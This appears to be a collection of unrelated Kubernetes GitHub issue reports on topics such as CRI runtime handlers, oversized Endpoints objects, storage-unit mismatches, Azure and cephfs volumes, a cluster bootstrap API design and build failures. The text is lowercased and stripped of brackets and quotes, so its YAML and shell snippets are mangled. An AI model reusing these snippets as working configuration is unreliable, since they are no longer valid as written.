<!-- please only use this template for submitting enhancement requests -->\r \r \r   what would you like to be added  :\r add a new field called  runtime_handler  into  podsandbox  https://github.com/kubernetes/kubernetes/blob/f52713515b8d526feed0f9111b3f075aaf463001/pkg/kubelet/apis/cri/runtime/v1alpha2/api.proto l480  and  podsandboxstatus  https://github.com/kubernetes/kubernetes/blob/f52713515b8d526feed0f9111b3f075aaf463001/pkg/kubelet/apis/cri/runtime/v1alpha2/api.proto l422  to track the runtimeclass information of a pod.\r \r   why is this needed  :\r currently,  runpodsandboxrequest  https://github.com/kubernetes/kubernetes/blob/f52713515b8d526feed0f9111b3f075aaf463001/pkg/kubelet/apis/cri/runtime/v1alpha2/api.proto l361  includes a field   runtime_handler   https://github.com/kubernetes/kubernetes/blob/f52713515b8d526feed0f9111b3f075aaf463001/pkg/kubelet/apis/cri/runtime/v1alpha2/api.proto l369 , and the  containerd cri-plugin  https://github.com/containerd/cri  stores this information as the  runtimehandler  https://github.com/containerd/cri/blob/dd2846d9419eef54e355d468ee5c01590ef3b212/pkg/store/sandbox/metadata.go l59  field for every pod sandbox.\r however, currently we don't have a way to know the  runtime_handler  information while inspecting a pod sandbox with  podsandboxstatus  https://github.com/kubernetes/kubernetes/blob/f52713515b8d526feed0f9111b3f075aaf463001/pkg/kubelet/apis/cri/runtime/v1alpha2/api.proto l58  or listing pod sandboxes with  listpodsandbox  https://github.com/kubernetes/kubernetes/blob/f52713515b8d526feed0f9111b3f075aaf463001/pkg/kubelet/apis/cri/runtime/v1alpha2/api.proto l60 . \r including the  runtime_handler  information in  podsandbox  https://github.com/kubernetes/kubernetes/blob/f52713515b8d526feed0f9111b3f075aaf463001/pkg/kubelet/apis/cri/runtime/v1alpha2/api.proto l480  and  podsandboxstatus  https://github.com/kubernetes/kubernetes/blob/f52713515b8d526feed0f9111b3f075aaf463001/pkg/kubelet/apis/cri/runtime/v1alpha2/api.proto l422  makes it possible to track how many pod sandboxs are running with every type of runtimeclass.\r \r

the rolling update option   --container=\ \ : container name which will have its image upgraded.   is supposed to update the rc. instead a new rc is created. as an example, create a  hello-mysql.yaml  for a multi-container pod.  ! hello-mysql  https://cloud.githubusercontent.com/assets/3654431/16710375/a0c364f6-45e0-11e6-889e-27400ab9f530.jpg   create a rc, list the rc and the pods. apply a rolling update to container \ mysql\ .   ! rolling-update-container  https://cloud.githubusercontent.com/assets/3654431/16710380/bc24d4d2-45e0-11e6-9103-e6fb35c5179d.jpg   subsequently two rc are listed.  ! rollingupdate-two-rc  https://cloud.githubusercontent.com/assets/3654431/16710382/cbca225c-45e0-11e6-970c-7139870e1d99.jpg

setting activedeadlineseconds in deployment pod template, and seen new pods are continuously created after the older one dies. is this excepted? if not we should forbidden this.\r \r

if you create a job in which pods are crashing and a service spawning those pods, this may result in generating extremely huge endpoints object  which will cause different performance issues .\r  based on situation from one of our customers cluster .\r \r after 30m from creating the objects below in my 3 node-cluster i have an endpoint which has almost 1mb of size:\r    \r wojtekt@wojtekt-work:~/go/src/k8s.io/kubernetes$ kubectl get endpoints failed-service -o json > out.txt\r wojtekt@wojtekt-work:~/go/src/k8s.io/kubernetes$ ls -la out.txt \r -rw-r----- 1 wojtekt eng 891834 jun  1 14:31 out.txt\r    \r \r example objects which are enough to cause this\r 1. service:\r    \r apiversion: v1\r kind: service\r metadata:\r   name: failed-service\r spec:\r   selector:\r     app: failed\r   ports:\r   - protocol: tcp\r     port: 80\r     targetport: 12345\r    \r 2. job:\r    \r apiversion: batch/v1\r kind: job\r metadata:\r   name: failed-job2\r spec:\r   parallelism: 10\r   completions: 10\r   template:\r     metadata:\r       name: failed-job2\r       labels:\r         app: failed\r     spec:\r       restartpolicy: never\r       containers:\r       - name: failed-pod\r         image: busybox\r         command:   \ /bin/sh\ , \ -c\ , \ sleep 5 && exit 1\  \r    \r \r @bowei @kubernetes/sig-network-bugs @kubernetes/sig-scalability-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r continue to https://github.com/kubernetes/kubernetes/issues/55937\r \r i've tried to migrate from gi to g and got stuck.\r \r heketi creates volumes in gb   api  https://github.com/heketi/heketi/wiki/api volume_create  , it means 1024\\ 1024\\ 1024   src  https://github.com/heketi/heketi/blob/9d2ef4bbaf547f5b86055e935f1d583196a069f1/apps/glusterfs/volume_entry.go l27   or gi in k8s format.\r \r so, when i want pv/pvc with 50gi  50\\ 1024\\ 1024\\ 1024 bytes , gluster plugin parses it as 54g  54\\ 1000\\ 1000\\ 1000 bytes  and than heketi creates volume as 54gb  54\\ 1024\\ 1024\\ 1024 bytes .\r \r df output means gi too:\r \r    bash\r $ kubectl exec -it web-0 sh\r   df -ht      \r filesystem                                    type            size  used avail use% mounted on\r 10.0.0.5:vol_9b93bfd8c134ca081e1044c67d369cb3 fuse.glusterfs   54g   34m   54g   1% /usr/share/nginx/html\r \r   df --help \r ...\r size is an integer and optional unit  example: 10m is 10 1024 1024 .  units          \r are k, m, g, t, p, e, z, y  powers of 1024  or kb, mb, ...  powers of 1000 .         \r ...\r     \r \r it makes sense for my project. we take volume  as bytes , try to import it to k8s as pv and get such situation now:\r    \r volume n 1024 1024 1024 bytes -> k8s n 1000 1000 1000 -> heketi/glusterfs n 1024 1024 1024\r    \r or\r    \r volume n gb binary  -> k8s pvc n gi binary  -> k8s pv n g decimal  -> glusterfs volume n gb binary \r    \r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r create an azure file using below storage class, it will fail since azure file does not support  premium_lrs  storage type now, while the returned error info would confuse customer.\r \r    \r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: azurefile-premium\r provisioner: kubernetes.io/azure-file\r parameters:\r   skuname: premium_lrs\r    \r \r the returned error info is now  failed to find a matching storage account  which would confuse user a lot.\r    \r events:\r   type     reason              age               from                         message\r   ----     ------              ----              ----                         -------\r   warning  provisioningfailed  10s  x5 over 1m   persistentvolume-controller  failed to provision volume with storageclass \ azurefile-premium\ : failed to find a matching storage account\r    \r \r   what you expected to happen  :\r the expected error info should be\r    \r events:\r   type     reason              age               from                         message\r   ----     ------              ----              ----                         -------\r   warning  provisioningfailed  13s                  persistentvolume-controller  failed to provision volume with storageclass \ azurefile-premium\ : failed to create share andy-k8s182-dynamic-pvc-cd66f4bd-d4c4-11e7-9f09-000d3a019e90 in account 00mqk6lqaouexy6agnt0: failed to create file share, err: put https://00mqk6lqaouexy6agnt0.file.core.windows.net/andy-k8s182-dynamic-pvc-cd66f4bd-d4c4-11e7-9f09-000d3a019e90?restype=share: dial tcp: lookup 00mqk6lqaouexy6agnt0.file.core.windows.net on 168.63.129.16:53: no such host\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

pulled out of   2303  https://github.com/googlecloudplatform/kubernetes/issues/2303 issuecomment-62776961 :  task list: -     finish definition of the bootstrap api -     implement a new binary/mode for serving the bootstrap api -     host the bootstrap api on k8s.io -     have the unified binary race to be the master via the bootstrap api.  have it publish it's location. -     have the minion use the bootstrap api to find the api server and self-register -     have kubectl use the bootstrap api to find the api server  and ca for the api server .  ---  quick spec that could work for bootstrap service.   kubernetes cluster bootstrap api  when bootstrapping up a cluster, there are two things that we need to do: identify the master of the cluster  for both worker nodes and clients  and establish the 'admin' credentials for administering the cluster.  the kubernetes cluster bootstrap api is optional -- it is possible to get clusters started without using this api.  it is also possible to easily run this api inside of a constrained private network.  the basic flow -- some of these steps are optional to further lock down the security of the cluster. 1. the user creates a new cluster.  this is typically an unauthenticated operation.  as a result of creating the cluster, the user gets back a set of information:    - a  cluster-id  that is used as part of the  cluster-bootstrap-url .  this should be guarded but is not super sensitive.    - a  bootstrap-auth-token .  this is a single use token.  it can be used to establish a single writer into the bootstrap api.  it is typically time bounded  1 hour?     - credentials for the cluster admin account.  this includes a public cert and a private key used for tls client auth. 2.  the user starts up a set of servers and gives them the  cluster-bootstrap-url  along with the  bootstrap-auth-token . 3. the servers boot up and race to see who can claim to be master.  they do this using the  bootstrap-auth-token .  only one wins and writes its addresses to the bootstrap api. 4. other servers that don't win the race use the bootstrap api to find the master.  they then register themselves with the master.  if the master automatically accepts those workers or not is a matter of policy out of scope of the bootstrap api. 5. the server that won the master race can add more 'writer' keys to the bootstrap api.  that way if the master dies a new master can be elected and update the bootstrap api. 6. the user uses a kubernetes client  kubectl  to talk to the cluster.  they can either specify the appropriate config data directly or can simply specify the  cluster-bootstrap-url .   kubectl  will use the admin key with client tls to identify itself to the master. 7. from here more scoped  password?  auth can be configured and the cluster can be further configured.  further notes: - the user can create/supply their own admin public cert when creating the cluster.  or they can opt out of using the bootstrap api to set up the admin credentials altogether.  the admin cert can be cleared at any time. - the ip range that the master claims can be restricted to a known good range.    api definition -  <base>    must   be over tls.  we would host a public one on  https://k8s.io . - auth:   - all auth is done via client tls certs.  there are three levels of auth:     -  none  -- this method/endpoint is publicly accessible.  the random  cluster-id  is the only protection.     -  bootstrap-cert  -- this method/endpoint is accessible to any cert in the bootstrap-cert list or the admin-cert.     -  admin-cert  -- this method/endpoint is only accessible to the admin-cert.  if there is no admin-cert or the admin-cert is lost, this can never be modified or accessed. -  <base>/k/    -  post : creates a new cluster bootstrap endpoint.     - auth:  none      - post body:       - admin client options --  none ,  create , or specify a cert       - bootstrap cert -- list of certificates that can be used to write to the bootstrap api.       - bootstrap token request -- true  with time limit  if a bootstrap token should be returned.       - master ip range -- the master ip must be confined to this range.     - response:       - cluster id -- long random string       - cluster url --  <base>/k/<cluster-id>        - bootstrap token       - the public cert and private -  <base>/k/<cluster-id>/bootstrap-certs  this is the list of tls client certs that are allowed to write to the bootstrap api endpoint.   -  get : returns the list of bootstrap-certs along with the time and ip address that added them.     - auth:  bootstrap-cert    -  put  - updates the list of bootstrap-certs.  users   must   use an etag to ensure that concurrent writes aren't clobbered.  the admin-cert cannot be modified with this method.     - auth:  bootstrap-cert  -  <base>/k/<cluster-id>/claim-token   used to add an entry to the bootstrap-cert list via a token.   -  post      - auth: none, but must present valid one use token     - returns: nothing, 200 if everything is good. -  <base>/k/<cluster-id>/mint-token  create a new one use token that can be used to add a  bootstrap-cert    -  post      - auth:  bootstrap-cert      - post body: the time limit.  up to 24 hours.     - response: the token. -  <base>/cluster-meta/<cluster-id>/admin-cert    -  get : gets the public key used for the admin account.     - auth:  bootstrap-cert    -  put : sets a new admin key. can be cleared completely in which case there _is_ no admin key.     - auth:  admin-cert  -  <base>/cluster-meta/<cluster-id>/master .  this is used to get/set the current master for the cluster.   - this resource includes:     - the current ip of the master.  this is what other nodes in the cluster should use.     - preferred ips or dns names for clients.  this is a  from most likely to least likely.     - the ca cert used for server identification.  if blank, then any system trusted ca would suffice.   -  get : gets the current master.     - auth:  none    -  put : sets the master.     - auth:  bootstrap-cert      - optimistic concurrency here -- the user   must   use etag to make sure that they aren't clobbering others in a start up race.  cc @kubernetes/sig-cluster-lifecycle

i was integrating a the flannel  whose backend is vxlan  as a overlay forwarding netowrk upon k8s in product cluster. i found that the network performance has been slow down about 20% when dockers communicating across hosts. but it was noraml when dockers hosting one machine communicating. i dont down what is the root-cause. any cni flaw remaining in current  k8s mainline?  \r \r is there any work around or bug-fix for the issue now?\r  @kubernetes/sig-network

delete requestcontextmapper now that http.request can carry a context.\r \r  

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r cephfs volume with ceph-fuse of    jewel    and earlier version does not support capicity quota, which means that the pod using the cephfs volume can use as many space as the cephfs provides, instead of the quota's limitation.\r \r   what you expected to happen  :\r pods mounting cephfs volumes should be rejected to write any more when a quota limit is reached. to be exactly, kubelet should use    --client-quota    option when mounting cephfs volume to pod with ceph-fuse of    jewel    and earlier version.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a cephfs volume of 100mib capacity by pvc, then mount the volume to a pod on a kubelet node with ceph-fuse of    jewel    and earlier version, run df in the container, the 'available size' will not be 100mib, but the total capicity of cephfs.\r \r   anything else we need to know?  :\r ceph-fuse of    luminous    and later version does not support    --client-quota    option, as far as i know. the quota takes effect automaticlly. so we have to be careful not to add    --client-quota    option on ceph-fuse who does not recognize it.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.1\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos linux release 7.2.1511  core  \r - kernel  e.g.  uname -a  : linux 4.17.0-1.el7.elrepo.x86_64\r - install tools: kubespray\r - others: ceph-fuse 10.2.5

<!-- this form is for bug reports !\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r \r \r >\r  \r \r \r   what happened  :\r unable to spin up cluster using the kubetest, with 'ci/latest' image.\r the ci jobs are failing, because the cluster is not provisioned properly.\r \r    \r i0810 23:40:23.527  installing cfssl from vendor\r i0810 23:40:23.548  checking for custom logdump instances, if any\r i0810 23:40:23.552  sourcing kube-util.sh\r i0810 23:40:23.587  detecting project\r i0810 23:40:23.588  project: k8s-jkns-gke-reboot-1-4\r i0810 23:40:23.588  network project: k8s-jkns-gke-reboot-1-4\r i0810 23:40:23.588  zone: us-central1-b\r i0810 23:40:23.588  dumping logs from master locally to '/workspace/_artifacts'\r w0810 23:40:23.689  can't load package: package k8s.io/kubernetes/vendor/github.com/cloudflare/cfssl/cmd/cfssl: cannot find package \ k8s.io/kubernetes/vendor/github.com/cloudflare/cfssl/cmd/cfssl\  in any of:\r w0810 23:40:23.689  \t/usr/local/go/src/k8s.io/kubernetes/vendor/github.com/cloudflare/cfssl/cmd/cfssl  from $goroot \r w0810 23:40:23.690  \t/go/src/k8s.io/kubernetes/vendor/github.com/cloudflare/cfssl/cmd/cfssl  from $gopath \r w0810 23:40:23.690  2018/08/10 23:40:23 process.go:155: step './hack/e2e-internal/e2e-up.sh' finished in 1m26.617131334s\r \r    \r \r i have tried locally, i am still getting the same error.\r    \r write out database with 1 new entries\r data base updated\r + kube::util::ensure-cfssl /tmp/tmp.czcihwwjk4/cfssl\r + echo 'installing cfssl from vendor'\r installing cfssl from vendor\r + gobin=\r + go install k8s.io/kubernetes/vendor/github.com/cloudflare/cfssl/cmd/cfssl\r can't load package: package k8s.io/kubernetes/vendor/github.com/cloudflare/cfssl/cmd/cfssl: cannot find package \ k8s.io/kubernetes/vendor/github.com/cloudflare/cfssl/cmd/cfssl\  in any of:\r         /usr/local/go/src/k8s.io/kubernetes/vendor/github.com/cloudflare/cfssl/cmd/cfssl  from $goroot \r         /home/ubuntu/e2epath/src/k8s.io/kubernetes/vendor/github.com/cloudflare/cfssl/cmd/cfssl  from $gopath \r + gobin=\r + go install k8s.io/kubernetes/vendor/github.com/cloudflare/cfssl/cmd/cfssljson\r can't load package: package k8s.io/kubernetes/vendor/github.com/cloudflare/cfssl/cmd/cfssljson: cannot find package \ k8s.io/kubernetes/vendor/github.com/cloudflare/cfssl/cmd/cfssljson\  in any of:\r         /usr/local/go/src/k8s.io/kubernetes/vendor/github.com/cloudflare/cfssl/cmd/cfssljson  from $goroot \r         /home/ubuntu/e2epath/src/k8s.io/kubernetes/vendor/github.com/cloudflare/cfssl/cmd/cfssljson  from $gopath \r ++ path=:/home/ubuntu/bin:/home/ubuntu/.local/bin:/home/ubuntu/y/google-cloud-sdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/usr/local/go/bin:/home/ubuntu/e2epath/bin:gopath=/home/ubuntu/e2epath\r ++ command -v cfssl\r + cfssl_bin=\r ++ path=:/home/ubuntu/bin:/home/ubuntu/.local/bin:/home/ubuntu/y/google-cloud-sdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/usr/local/go/bin:/home/ubuntu/e2epath/bin:gopath=/home/ubuntu/e2epath\r ++ command -v cfssljson\r + cfssljson_bin=\r +    ! -x ''   \r + echo 'failed to install cfssl.'\r failed to install cfssl.\r + exit 1\r \r    \r \r  refer pr-128  https://github.com/kubernetes-sigs/poseidon/pull/128 \r  build-logs  https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/kubernetes-sigs_poseidon/128/ci-poseidon-e2e-gce/301/build-log.txt \r \r \r could be releated to this pr  67178 \r \r \r @bentheelder @cblecker\r \r /cc @deepak-vij \r

what happened  :\r \r a loadbalancer with 2 open ports should  point to an ingress controller as daemonset, running in a gcp-kubernetes-cluster. the forwarding via using a named  targetport  to the ports of the ingresscontroller only works when  port  matches the  hostport , otherwise not. please see the example below, which i tried to make as easy and short as possible.\r \r   what you expected to happen  :\r \r calling the loadbalancer on both ports  in example 444 and 445  should both deliver the same result, otherwise target port makes no sense.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r my current configuration shows the problem, at least in my environment:\r    \r apiversion: v1\r kind: service\r metadata:\r   name: lb\r   namespace: ns\r   labels:\r     app: lb\r spec:\r   type: loadbalancer\r   loadbalancerip: x.x.x.x\r   ports:\r       - name: test1\r         port: 445\r         targetport: test\r \r       - name: test2\r         port: 444\r         targetport: test\r   selector:\r     k8s-app: ingress-controller\r    \r \r here is the daemonset for the ingress-controller:\r \r    \r apiversion: apps/v1\r kind: daemonset\r metadata:\r   name: ingress-controller\r   namespace: ns\r   labels:\r     k8s-app: ingress-controller\r spec:\r   selector:\r     matchlabels:\r       app: ingress-controller\r   template:\r     metadata:\r       labels:\r         app: ingress-controller\r     spec:\r       terminationgraceperiodseconds: 60\r       containers:\r         - name: ingress-controller\r           image: gcr.io/google_containers/nginx-ingress-controller:0.9.0-beta.15\r           resources:\r             requests:\r               memory: \ 0.3gi\ \r               cpu: \ 0.3\ \r             limits:\r               memory: \ 0.5gi\ \r               cpu: \ 0.5\ \r           readinessprobe:\r             httpget:\r               path: /healthz\r               port: 10254\r               scheme: http\r           livenessprobe:\r             httpget:\r               path: /healthz\r               port: 10254\r               scheme: http\r             initialdelayseconds: 10\r             timeoutseconds: 1\r           ports:\r             - name: test\r               hostport: 444\r               containerport: 443\r           env:\r             - name: pod_name\r               valuefrom:\r                 fieldref:\r                   fieldpath: metadata.name\r             - name: pod_namespace\r               valuefrom:\r                 fieldref:\r                   fieldpath: metadata.namespace\r           args:\r             - /nginx-ingress-controller\r             - --ingress-class=public\r             - --default-backend-service=ns/default-http-backend\r             - --v=2\r    \r the ingress then points to a plain nginx, for test purposes.\r \r now i encounter the following problem:\r \r when i call the domain for the loadbalancer with the port 444  test.mydomain.com:444 , i successfully receive the nginx-default index page.\r \r however, when i call the domain with the port 445  test.mydomain.com:445 , i would expect to get the same result, since the target port of the load-balancer block is the same, but it doesn't work.\r \r so it seems, that the port and hostport have to match.\r \r it seems, that targetport in the loadbalancer doesn't work as expected, it somehow only forwards port of lb to hostport of ingress controller.\r \r i already tried several things, for example configuring the ingress-controller without a hostport, use a completely different port for hostport, use numeric ports etc., but i never got the expected result. i've seen working examples in the internet without using hostport, however, they never used daemonsets, but only deployments.\r \r i also posted the question on https://serverfault.com/questions/939015/loadbalancer-targetport-not-forwarding-to-daemonset-hostport-if-port-not-same-as?noredirect=1 comment1219675_939015 in case it is not a bug but a usage question, but it seems to be a bug, or maybe an example or documentation is missing.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.7\ , gitcommit:\ 0c38c362511b20a098d7cd855f1314dad92c2780\ , gittreestate:\ clean\ , builddate:\ 2018-08-20t10:09:03z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.6-gke.9\ , gitcommit:\ 6191a1d5adb87b656a6e14a9344267ccbfe4abc2\ , gittreestate:\ clean\ , builddate:\ 2018-11-02t23:33:23z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: google cloud engine\r \r <!-- do not edit below this line -->\r 

what happened  :\r \r https://github.com/kubernetes/kubernetes/pull/70111 removed reporting of the outofdisk condition in the kubelet.\r \r a 1.12 kubelet upgraded to a 1.13 kubelet leaves the previously reported outofdisk condition in place, and it eventually gets switched to unknown status.\r \r   what you expected to happen  :\r \r if this condition is no longer reported, it should be removed by the kubelet.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. run a 1.12 kubelet, let it report outofdisk condition status.\r 2. upgrade to 1.13\r 3. note the condition is no longer updated\r 4. after a while, the node controller flips the status to unknown\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r  

what would you like to be added  :\r \r since last summer azure offers a disk type called standardssd.\r \r see https://azure.microsoft.com/en-us/blog/preview-standard-ssd-disks-for-azure-virtual-machine-workloads/\r \r these disks are cost-effective storage option optimized for workloads that need consistent performance at lower iops levels\r \r as of today i can't define this type of disks in a storage class for kubernetes.\r \r   why is this needed  :\r \r standardssd offer a predictable performance at a good price point and should therefore be usable with in kubernetes.\r \r @kubernetes/sig-azure\r 

specifically: 1. start a pod with a readiness probe. 2. restart kubelet 3. force the readiness probe to fail 4. observe the event does not get generated and the log says \ no ref for pod ...\

i'm in the process of generating asciidoc / markdown from swagger specs.  general goals: 1. generate documentation files suitable for inclusion into formal docs  openshift uses asciidoc -> docbook  2. generate tables and examples for all objects that correctly represent the action 3. have richer descriptions for each object and operation than we currently include, so that users understand what the object does  not just its fields .  primary angle of attack is https://github.com/robwin/swagger2markup     issues encountered -  swagger-parser  https://github.com/swagger-api/swagger-parser  doesn't handle the \ trace\  verb - going to open a pull to fix that - patch documents don't properly document their body parameter model type  no schema  - should be \ any\  which we can probably make happen with  map string interface{} .  also, the return type should be versionedobject - we don't have descriptions on our path parameters for individual types, so any descriptions have to be external  swagger2markup supports external descriptions but this should come from the type . - our top level api objects don't have title or description  description really needs to be a long description - it's the description of the api  - our model objects don't have descriptions - our operations don't have descriptions - go-restful apideclaration doesn't have \ info\  which contains title and description, used by the generator to frame the document - our paths should have descriptions like \ use this path to operate on lists of pods\ , \ use this path to operate on individual pods\ , \ use this path to control the status of a pod\  - our operation descriptions should be capitalized - those are used as headers and toc lines in doc - our dates and times are missing format \ date-time\  - runtime.rawextension should be documented more like \ any\  - rawjson is not actually exposed.  may need to set json struct tags on it. - swagger model order is random because apideclarations.models is a map string object.  we need to convert it to a    ...  in the swagger serialization format.

when a new concept is introduced, it should also be explained. here are a few examples from the recent k8s hackathon from new users:          \\  “first reference to createexternalloadbalancer is confusing, this concept hasn't been introduced.  this section should be organized like: if you are running locally: do nothing, if you are running on gce and want your app to be externally visible, do x.  else, etc..”          \\  “there are several terms that are not clear to new users: kubelets, minions, etc.”  explain objects or commands that may be new or unknown to users so they can better understand how to do the task later on their own. \ ’docker logs 26af6bd5ac12’  wtf is that random string?  where do i run this from?”   ! image  https://cloud.githubusercontent.com/assets/11644912/8040306/32a408b8-0dc4-11e5-9887-d464ea49aa9b.png   https://github.com/googlecloudplatform/kubernetes/tree/master/examples/guestbook

running  make clean  fixed the issue:      console +++  1103 16:08:50  verifying prerequisites.... +++  1103 16:08:50  building docker image kube-build:cross. +++  1103 16:08:52  building docker image kube-build:build-287aaa82e2. +++  1103 16:08:56  running build command.... +++  1104 00:08:56  building go targets for linux/amd64:     cmd/kube-proxy     cmd/kube-apiserver     cmd/kube-controller-manager     cmd/kubelet     cmd/hyperkube     cmd/linkcheck     plugin/cmd/kube-scheduler   github.com/spf13/cobra godeps/_workspace/src/github.com/spf13/cobra/bash_completions.go:385: flags.setannotation undefined  type  pflag.flagset has no field or method setannotation  godeps/_workspace/src/github.com/spf13/cobra/bash_completions.go:397: flags.setannotation undefined  type  pflag.flagset has no field or method setannotation  godeps/_workspace/src/github.com/spf13/cobra/command.go:461: c.flags  .getbool undefined  type  pflag.flagset has no field or method getbool  godeps/_workspace/src/github.com/spf13/cobra/man_docs.go:91: flag.nooptdefval undefined  type  pflag.flag has no field or method nooptdefval  godeps/_workspace/src/github.com/spf13/cobra/man_docs.go:100: flag.nooptdefval undefined  type  pflag.flag has no field or method nooptdefval    github.com/google/cadvisor/metrics godeps/_workspace/src/github.com/google/cadvisor/metrics/prometheus.go:133: s.memory.failcnt undefined  type v1.memorystats has no field or method failcnt  godeps/_workspace/src/github.com/google/cadvisor/metrics/prometheus.go:501: container.spec.image undefined  type v1.containerspec has no field or method image  godeps/_workspace/src/github.com/google/cadvisor/metrics/prometheus.go:549: versioninfo.cadvisorrevision undefined  type  v1.versioninfo has no field or method cadvisorrevision    github.com/aws/aws-sdk-go/aws/request godeps/_workspace/src/github.com/aws/aws-sdk-go/aws/request/request.go:97: undefined: aws.boolvalue godeps/_workspace/src/github.com/aws/aws-sdk-go/aws/request/request.go:143: r.service.config.loglevel.matches undefined  type uint has no field or method matches  godeps/_workspace/src/github.com/aws/aws-sdk-go/aws/request/request.go:143: undefined: aws.logdebugwithrequesterrors godeps/_workspace/src/github.com/aws/aws-sdk-go/aws/request/request.go:152: r.service.config.logger.log undefined  type io.writer has no field or method log  godeps/_workspace/src/github.com/aws/aws-sdk-go/aws/request/request.go:207: undefined: aws.boolvalue godeps/_workspace/src/github.com/aws/aws-sdk-go/aws/request/request.go:208: r.service.config.loglevel.matches undefined  type uint has no field or method matches  godeps/_workspace/src/github.com/aws/aws-sdk-go/aws/request/request.go:208: undefined: aws.logdebugwithrequestretries godeps/_workspace/src/github.com/aws/aws-sdk-go/aws/request/request.go:209: r.service.config.logger.log undefined  type io.writer has no field or method log    github.com/docker/libcontainer/cgroups/fs godeps/_workspace/src/github.com/docker/libcontainer/cgroups/fs/blkio.go:45: cgroup.blkiothrottlereadbpsdevice undefined  type  configs.cgroup has no field or method blkiothrottlereadbpsdevice  godeps/_workspace/src/github.com/docker/libcontainer/cgroups/fs/blkio.go:46: cgroup.blkiothrottlereadbpsdevice undefined  type  configs.cgroup has no field or method blkiothrottlereadbpsdevice  godeps/_workspace/src/github.com/docker/libcontainer/cgroups/fs/blkio.go:50: cgroup.blkiothrottlewritebpsdevice undefined  type  configs.cgroup has no field or method blkiothrottlewritebpsdevice  godeps/_workspace/src/github.com/docker/libcontainer/cgroups/fs/blkio.go:51: cgroup.blkiothrottlewritebpsdevice undefined  type  configs.cgroup has no field or method blkiothrottlewritebpsdevice  godeps/_workspace/src/github.com/docker/libcontainer/cgroups/fs/blkio.go:55: cgroup.blkiothrottlereadiopsdevice undefined  type  configs.cgroup has no field or method blkiothrottlereadiopsdevice  godeps/_workspace/src/github.com/docker/libcontainer/cgroups/fs/blkio.go:56: cgroup.blkiothrottlereadiopsdevice undefined  type  configs.cgroup has no field or method blkiothrottlereadiopsdevice  godeps/_workspace/src/github.com/docker/libcontainer/cgroups/fs/blkio.go:60: cgroup.blkiothrottlewriteiopsdevice undefined  type  configs.cgroup has no field or method blkiothrottlewriteiopsdevice  godeps/_workspace/src/github.com/docker/libcontainer/cgroups/fs/blkio.go:61: cgroup.blkiothrottlewriteiopsdevice undefined  type  configs.cgroup has no field or method blkiothrottlewriteiopsdevice  godeps/_workspace/src/github.com/docker/libcontainer/cgroups/fs/cpu.go:49: cgroup.cpurtperiod undefined  type  configs.cgroup has no field or method cpurtperiod  godeps/_workspace/src/github.com/docker/libcontainer/cgroups/fs/cpu.go:50: cgroup.cpurtperiod undefined  type  configs.cgroup has no field or method cpurtperiod  godeps/_workspace/src/github.com/docker/libcontainer/cgroups/fs/cpu.go:50: too many errors   github.com/rackspace/gophercloud/openstack/compute/v2/servers godeps/_workspace/src/github.com/rackspace/gophercloud/openstack/compute/v2/servers/requests.go:286: undefined: flavors.idfromname !!! error in /go/src/k8s.io/kubernetes/hack/lib/golang.sh:389   'go install \ ${goflags @ :+${goflags @ }}\  -ldflags \ ${goldflags}\  \ ${nonstatics @ :+${nonstatics @ }}\ ' exited with status 2 call stack:   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:389 kube::golang::build_binaries_for_platform ...    2: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:524 kube::golang::build_binaries ...    3: hack/build-cross.sh:28 main ...  exiting with status 1 !!! error in /go/src/k8s.io/kubernetes/hack/lib/golang.sh:445   '  kube::golang::setup_env; local host_platform; host_platform=$ kube::golang::host_platform ; local goflags goldflags; eval \ goflags= ${kube_goflags:-} \ ; goldflags=\ ${kube_goldflags:-} $ kube::version::ldflags \ ; local use_go_build; 